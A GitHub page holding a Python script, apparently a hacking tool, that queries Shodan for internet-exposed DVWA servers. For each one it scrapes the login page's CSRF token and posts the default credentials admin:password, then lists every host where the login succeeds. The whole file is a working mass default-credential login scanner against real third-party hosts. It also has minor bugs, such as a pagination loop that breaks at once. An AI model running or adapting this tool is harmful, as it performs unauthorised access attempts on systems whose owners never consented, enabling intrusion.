-
Notifications
You must be signed in to change notification settings - Fork 11
/
shodan_api.py
91 lines (84 loc) · 4.06 KB
/
shodan_api.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import shodan
import time
import requests
import re
print(r'''
██████ ██░ ██ ▒█████ ▓█████▄ ▄▄▄ ███▄ █
▒██ ▒ ▓██░ ██▒▒██▒ ██▒▒██▀ ██▌▒████▄ ██ ▀█ █
░ ▓██▄ ▒██▀▀██░▒██░ ██▒░██ █▌▒██ ▀█▄ ▓██ ▀█ ██▒
▒ ██▒░▓█ ░██ ▒██ ██░░▓█▄ ▌░██▄▄▄▄██ ▓██▒ ▐▌██▒
▒██████▒▒░▓█▒░██▓░ ████▓▒░░▒████▓ ▓█ ▓██▒▒██░ ▓██░
▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░ ▒░▒░▒░ ▒▒▓ ▒ ▒▒ ▓▒█░░ ▒░ ▒ ▒
░ ░▒ ░ ░ ▒ ░▒░ ░ ░ ▒ ▒░ ░ ▒ ▒ ▒ ▒▒ ░░ ░░ ░ ▒░
░ ░ ░ ░ ░░ ░░ ░ ░ ▒ ░ ░ ░ ░ ▒ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░
use shodan via terminal
''')
# your shodan API key
SHODAN_API_KEY = input("Enter Your Shodan API Key Here : ")
api = shodan.Shodan(SHODAN_API_KEY)
# requests a page of data from shodan
def request_page_from_shodan(query, page=1):
while True:
try:
instances = api.search(query, page=page)
return instances
except shodan.APIError as e:
print(f"Error: {e}")
time.sleep(5)
# Try the default credentials on a given instance of DVWA, simulating a real user trying the credentials
# visits the login.php page to get the CSRF token, and tries to login with admin:password
def has_valid_credentials(instance):
sess = requests.Session()
proto = ('ssl' in instance) and 'https' or 'http'
try:
res = sess.get(f"{proto}://{instance['ip_str']}:{instance['port']}/login.php", verify=False)
except requests.exceptions.ConnectionError:
return False
if res.status_code != 200:
print(f"[-] Got HTTP status code {res.status_code}, expected 200")
return False
# search the CSRF token using regex
token = re.search(r"user_token' value='([0-9a-f]+)'", res.text).group(1)
res = sess.post(
f"{proto}://{instance['ip_str']}:{instance['port']}/login.php",
f"username=admin&password=password&user_token={token}&Login=Login",
allow_redirects=False,
verify=False,
headers={'Content-Type': 'application/x-www-form-urlencoded'}
)
if res.status_code == 302 and res.headers['Location'] == 'index.php':
# Redirects to index.php, we expect an authentication success
return True
else:
return False
# Takes a page of results, and scans each of them, running has_valid_credentials
def process_page(page):
result = []
for instance in page['matches']:
if has_valid_credentials(instance):
print(f"[+] valid credentials at : {instance['ip_str']}:{instance['port']}")
result.append(instance)
return result
# searches on shodan using the given query, and iterates over each page of the results
def query_shodan(query):
print("[*] querying the first page")
first_page = request_page_from_shodan(query)
total = first_page['total']
already_processed = len(first_page['matches'])
result = process_page(first_page)
page = 2
while already_processed < total:
# break just in your testing, API queries have monthly limits
break
print("querying page {page}")
page = request_page_from_shodan(query, page=page)
already_processed += len(page['matches'])
result += process_page(page)
page += 1
return result
# search for DVWA instances
res = query_shodan('title:dvwa')
print(res)
input("Enter To Exit Window")